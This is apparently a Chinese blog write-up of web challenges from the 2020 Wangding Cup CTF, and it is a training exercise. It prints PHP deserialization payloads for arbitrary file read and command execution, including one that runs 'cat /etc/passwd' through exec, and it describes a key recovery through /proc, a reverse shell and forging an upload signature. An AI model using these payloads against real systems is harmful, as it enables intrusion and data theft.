网鼎杯2020WEB方向WP

发布于 2020-05-17  2555 次阅读


网鼎杯2020WEB方向WP

青龙组

AreUSerialz

代码审计php反序列化+弱类型:
源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

大概功能就是一个读文件,一个写文件,该类使用$op这个受保护的属性来选择调用读或写两个方法,所以思路就是构造一个序列化对象,使属性$op值为'2'即可任意文件读取。
利用两个知识点:
1、php在序列化对象反序列化时,对属性的访问控制检测不严格导致可以构造任意访问控制的属性或方法,所以可以构造属性为public的序列化对象。
2、解析方法中对$op的判断是强比较,可是在process方法中是弱比较,所以传入属性$op的值为int类型的2即可绕过。
payload:

<?php

class FileHandler {

    public $op = 2;
    public $filename = 'flag.php';
    public $content;

}

$a = new FileHandler();
echo urlencode(serialize($a));

file

白虎组

张三的网站

18年网鼎杯原题unfinished

里面有脚本,改一下url就直接出flag。

picdown

文件包含,查看cmdline:

file

查看main.py:

file

关键代码:

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res

大概是写入一个key文件并删除,然后要传入这个key并盲打rce。这个key会记录在/proc/self/fd/里:

file

爆破pid:

file

反弹shell,读flag

file

file

StarBucket

aws的 json泄露
网站实现了一个上传图片的功能,每个用户都拥有自己独立的id,和自己独立的沙盒,文件上传到沙盒内。
想获取flag就要将自己变为admin,网站判断用户是否为admin是通过
用户沙盒内的info.js,里面admin为false:
file
单纯的修改form表单来将info.js上传到对应目录,因为不能通过 签名认证,所以不行。
还有一个api,返回值是一些我文件上传的位置和认证信息
http://39.96.63.70/signature.php?acl=public-read&key=image/9a574cc88002fd7cf9a466079e059aa6/avatar.jpg
file
思路就是上传一个admin为true的info.js到userinfo/9a574cc88002fd7cf9a466079e059aa6/info.js,因为会校验签名,所以调用刚刚的api获得相关数据,构造post包,发包之后上传成功得到flag。
file
出现204既上传成功。

青龙组

文件读取+反序列化
file_get_contents读文件,然后反序列化rce,payload:

<?php
class Test {
    var $p = "cat /tmp/flagoefiu4r93";
    var $func = "system";
}
$ser = new Test();
$o = serialize($ser);
var_dump(urlencode($o));
?>

post传参:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"cat /etc/passwd";s:4:"func";s:4:"exec";}


既然热爱,就坚持下去。